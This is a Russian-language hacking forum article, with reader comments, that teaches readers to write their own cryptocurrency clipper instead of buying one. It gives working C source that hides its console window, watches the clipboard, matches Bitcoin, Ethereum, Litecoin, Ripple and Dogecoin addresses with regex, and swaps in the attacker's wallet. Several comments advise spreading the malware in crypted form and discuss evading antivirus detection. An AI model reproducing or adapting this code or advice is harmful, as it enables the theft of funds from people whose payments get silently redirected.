Загрузка...
Авторская статья Клиппер за 30 минут или почему не стоит покупать клипперы
  1. jgsjagejwgjwf
    jgsjagejwgjwf Автор темы 30 ноя 2021
    Заранее говорю - в этой статье не будет разбора продукта, я лишь расскажу о ситуации с клипперами в наше время и почему не стоит брать готовые клипперы.
    На рынок выходит новый продукт - Allcome. Стоимость - 25$/месяц, 220$/навсегда.
    По словам ТС, клиппер написан на C++ с использованием STL.
    [IMG] 

    [IMG] 
    Я не буду говорить о том, что продукт хороший или плохой, так как не использовал его и не могу заявлять что-либо. Скажу лишь о том, что судя по отзывам (25 отзывов за 3 недели), продажи у продукта идут очень даже хорошо. А теперь покажу, что задача написания своего клиппера не так сложна и это смогут сделать многие люди, особенно имевшие дело с копипастом исходников в открытом доступе.
    Для начала:

    Как устроен клиппер

    Давайте разберемся, что вообще есть клиппер. Клиппер - вредоносная программа, заменяющая криптоадреса в буфере обмена на адреса злоумышленника, дабы жертва во время отправки монет отправила их к злоумышленнику.
    По этому описанию накидываем схему работы:
    [IMG] 
    Выглядит достаточно просто. Разбираем каждый блок -
    Получение и подмена буфера обмена может быть реализована через любую библиотеку, работающую с winapi на любом языке.
    Как же проверять, является ли текст адресом?
    Ответ - регулярные выражения (regex). Что это?
    Википедия: 
    Регулярные выражения (англ. regular expressions) — используемый в компьютерных программах, работающих с текстом, формальный язык поиска и осуществления манипуляций с подстроками в тексте, основанный на использовании метасимволов (символов-джокеровангл. wildcard characters). Для поиска используется строка-образец (англ. pattern, по-русски её часто называют «шаблоном», «маской»), состоящая из символов и метасимволов и задающая правило поиска. Для манипуляций с текстом дополнительно задаётся строка замены, которая также может содержать в себе специальные символы.
    Для чайников - регулярные выражения это формальный язык, благодаря которому можно проверять соответствие текста определенным критериям - длина, набор букв и так далее.
    Почитать подробнее о них можно здесь. Проверка на соответствие происходит по паттернам (англ. pattern, у нас обычно используется термин "шаблон"). Паттерны можно спокойно найти в интернете по запросу "*крипта* address regex".
    Теперь я покажу на своем примере, что написать свой клиппер значительно проще, чем вы думаете.

    Написание клиппера

    Я буду писать на C, его можно написать хоть на питоне, но не рекомендуется.
    Создаем проект в Visual Studio, в нем создаем главный файл, я назвал его main.c.

    Так как в стандартной библиотеке C нет библиотеки для регулярок, я буду использовать до невозможности сырую, но единственную и компактную библиотеку tiny-regex-c. Скачиваем re.c и re.h, импортируем их в проект.

    Импортируем нужные библиотеки в main.c и скрываем консоль через ключевые слова для компилятора (pragma):
    Код
    #include "re.h"
    #include <windows.h>
    #pragma comment(linker, "/SUBSYSTEM:windows /ENTRY:mainCRTStartup")
    Пишем функции для получения и подмены буфера обмена:

    Код
    char* getclipboard()
    {
        static HANDLE clip;
        if (OpenClipboard(NULL))
        {
            clip = GetClipboardData(CF_TEXT);
            CloseClipboard();
        }
        return (char*)clip;
    }

    void setclipboard(char* text)
    {
        HGLOBAL global = GlobalAlloc(GMEM_FIXED, strlen(text) + 1);
        memcpy(global, text, strlen(text));
        if (OpenClipboard(NULL))
        {
            EmptyClipboard();
            SetClipboardData(CF_TEXT, global);
            CloseClipboard();
        }
    }
    Создаем структуру для кошельков, она позволит без сложностей добавлять новые кошельки в клиппер (а с помощью регулярок, можно будет добавить хоть подмену ссылок оплаты).

    Код
    typedef struct crypto {
        char* ptn;
        char* address;
    };
    Основная функция main. Создаем в ней переменные с нашими кошельками:

    Код
    const char* btcadr = "";
        const char* segwitadr = "";
        const char* ethadr = "";
        const char* ltcadr = "";
        const char* xrpadr = "";
        const char* dogeadr = "";
    Создаем структуры для кошельков и объединяем их в один список. Переменная ptn - паттерн regex, переменная address - адрес, который будет подменяться.
    У меня будет 5 криптовалют - Bitcoin (+SegWit адреса (bc1q)), Ethereum, Litecoin, Ripple, Dogecoin.

    Код
        struct crypto btc = { .ptn = "^[13][a-km-zA-HJ-NP-Z1-9]*$",                .address = btcadr }; // фиксированная длина не поддерживается в tiny regex
        struct crypto segwit = { .ptn = "^bc1q[a-zA-HJ-NP-Z0-9]*$",                .address = segwitadr }; // на p2pkh и p2wpkh разные регулярки, так как изменение легаси адреса на сегвит (bc1q) будет заметно
        struct crypto eth = { .ptn = "^0x[a-fA-F0-9]*$",                        .address = ethadr };
        struct crypto ltc = { .ptn = "^[LM3][a-km-zA-HJ-NP-Z1-9]*$",            .address = ltcadr };
        struct crypto xrp = { .ptn = "^r[0-9a-zA-Z]*$",                            .address = xrpadr };
        struct crypto doge = { .ptn = "^D[5-9A-HJ-NP-U][1-9A-HJ-NP-Za-km-z]*$",    .address = dogeadr };


        struct crypto all[6] = { btc, segwit, eth, ltc, xrp, doge }; // где 6 - количество сервисов
    В регулярных выражениях стоит нефиксированное (*) число повторов. Это не так безопасно, так как, скажем, текст 1abc подойдет по регулярке и будет подменен. Используется из-за того, что в tiny-regex-c нельзя прописать фиксированное количество повторов, во всех языках где это поддерживается, призываю ставить фиксированное количество повторов, соответствующее типу адреса.
    Основной цикл:

    Код
        while (1) {
            char* clipdata = getclipboard(); // получение буфера обмена
            if (clipdata != NULL) { // если в буфере что-то есть
                for (int i = 0; i < 6; i++) { // цикл из всех типов кошельков, где 6 - количество сервисов
                    int matchlen;
                    int match = re_match(all[i].ptn, clipdata, &matchlen); // проверка, является ли текст в буфере соответствующим адресом
                    if (match != -1) { // если является, подмена буфера обмена на заданный в коде адрес
                        setclipboard(all[i].address);
                    }
                }
            }
            Sleep(50); // чтобы не грузило проц, после каждой проверки сон на 0.05 сек
        }
    В комментариях прописал, за что отвечает каждая команда.

    На написание этого клиппера у меня ушло ~полчаса. Всего 65 строк, итоговый стаб весит 12.5кб.
    Добавлять подмену других адресов по регулярке можно таким же образом, как добавлены кошельки выше. Отправку информации о ПК и прочую херню может впаять любой желающий, при наличии гугла.
    Исходники - тык

    Итоги
    Написать свой клиппер может любой желающий, для людей, не умеющих в кодинг в интернете лежит множество исходников, благодаря которым затраты на не очень добросовестных кодеров сокращаются в разы.
    С самописным клиппером вы будете уверены, что ничего левого не запускается и подмена идёт именно на ваш адрес. Вы сможете добавить/поменять что угодно в любой момент. Ваш клиппер будет исключительно ваш и исключительно в ваших руках.
    Спасибо за прочтение.
     

Комментарии

    1. RadeonRX
      RadeonRX 11 дек 2021 AMD 606 3 дек 2019
    2. FSFS_inactive4163851
      FSFS_inactive4163851 11 дек 2021 Заблокирован(а) 16 10 май 2021
    3. soarer
      soarer 11 дек 2021 TRON drainer - zelenka.guru/threads/5126016/ 6632 4 апр 2021
      тот самый @Allcome - Зачем ты ему показал :angry:
       
    4. staffle
      staffle 11 дек 2021 Заблокирован(а) 10 25 сен 2021
      Годненько
       
    5. HideCode
      HideCode 12 дек 2021 Заблокирован(а) 214 5 дек 2021
      то чувство, когда знаешь что такое регулярные выражения, но незнаешь что такое STL

      это либа?
       
      1. backdoortp
        HideCode, standard template library - проще говоря, это динамическая библиотека для плюсов, которая при запуске программы вызывается из системы, на которой происходит запуск. она и дает команды по типу memcpy, memset etc
    6. Alibaba_Shop
      Alibaba_Shop 12 дек 2021 16 522 31 июл 2020
      Ну вот, а мне ещё куратор доказывал что в Статьях реклама запрещена.
       
      1. Посмотреть предыдущие комментарии (6)
      2. Alibaba_Shop
        @backdoortp, я допускаю что могу ошибаться и целью статьи не была реклама проекта. Но в последнее время на главной каждая статья начинается с рекламы. Ты можешь сам просмотреть несколько последних статей и убедится в этом. Именно исходя из этого факта, а так же из нахождения ссылки на коммерческий продукт в начале статьи я и решил что это реклама.
      3. backdoortp
        Alibaba_Shop, [IMG]
        а прочитал бы на один абзац побольше, такого мнения бы не возникло
    7. cashsharing
      засейвил деньги
       
    8. unnamed001
      unnamed001 12 дек 2021 5996 2 сен 2020
      А почему не с++ и не стд регекс? С с++20 они вроде как хорошо импрувнулись
      а ещё переменная address зарезервирована компилятором
       
      12 дек 2021 Изменено
      1. Посмотреть предыдущие комментарии (1)
      2. backdoortp
        unnamed001, просто не люблю плюсы. так то можно и на них сделать спокойно
      3. backdoortp
        unnamed001, переменная адреса зарезервирована компилятором, так как не изменяется во время работы:emm:
      4. unnamed001
        @backdoortp, не компилятором, а в одном из файлов винапи*
    9. 9mice
      статейка годная, но не будем забывать, что малвари вызывают столбняк, + лучевую болезнь, + ангидроз, + вибриоз, + аденоиды, + уритринт, + кандидоз, + ротовирусная инфекция, + аутизм, + эпахондрия, + нейродирмит, + эвроглифоз, + парадантоз, + укачивание, + тахикардия, + инсульт, + невроз, + хламидиоз, + угри, + йодонедостаточность, + ожирение
       
      1. backdoortp
        9mice, это все вызывает программирование в целом
    10. Morhin
      Morhin 12 дек 2021 123 19 496 24 мар 2020
      Бля, ну жёско жёско рассказал
       
    11. Morendi
      Morendi 12 дек 2021 Регай домены в ТГ БОТЕ - https://t.me/OneDomainBot 1318 1 ноя 2020
      все стоит покупать, покупайте и не читайте эти бесполезные темы
       
      1. Aspr0d
        Morendi, @Allcome разлогинься :finger_up:
    12. Agent009_inactive4741639
      Спасибо большое за полезную информацию.
       
    13. HoBzY
      HoBzY 12 дек 2021 2 14 май 2021
      Аналогичное можно написать на python-e)
       
      1. Посмотреть предыдущие комментарии (4)
      2. HoBzY
      3. backdoortp
        HoBzY, слил на вт - умножай детект на 2, вес файла при этом 30 мб + антивирусы приколы в пайках первым делом читают, поэтому хуй закриптуешь нормально + рантайм дрисня будет
      4. aChanKiller
        HoBzY, стилак на пайтоне,мне кажется у тебя с интеллектом явные проблемы.
    14. yanmeth
      yanmeth 12 дек 2021 Заблокирован(а) 5 10 дек 2021
      объяснил все понятным языком +реп
       
    15. Clifeal
      Clifeal 12 дек 2021 Заблокирован(а) 23 5 дек 2021
      А есть статистика у кого? Часто переводят по ошибке через клиппер?
       
      1. CoderVir
        Clifeal, поверь мне, да. Пролей хорошо закриптованый клипер мб на 5к микса и по любе профиты будут. Просто полюбе.
      2. backdoortp
        @CoderVir, 5к можно разного пролить, с 5к микса с биржи тебе дай бог баксов 5 залетит
    16. MavrodiS
      MavrodiS 13 дек 2021 Заблокирован(а) 17 20 ноя 2021
      автор статья лучший спасибо тебе
       
    17. Prodota
      Prodota 13 дек 2021 Заблокирован(а) 6883 23 окт 2020
      good like
       
    18. gleb0
      gleb0 13 дек 2021 С подключением, User Name! 277 13 дек 2019
      Автор красавчиГ!
       
    19. Crakers
      Crakers 13 дек 2021 Живой 371 7 июн 2020
      Пруф жеский
       
    20. Keek_patay
      Keek_patay 13 дек 2021 6 18 сен 2020
Загрузка...
Top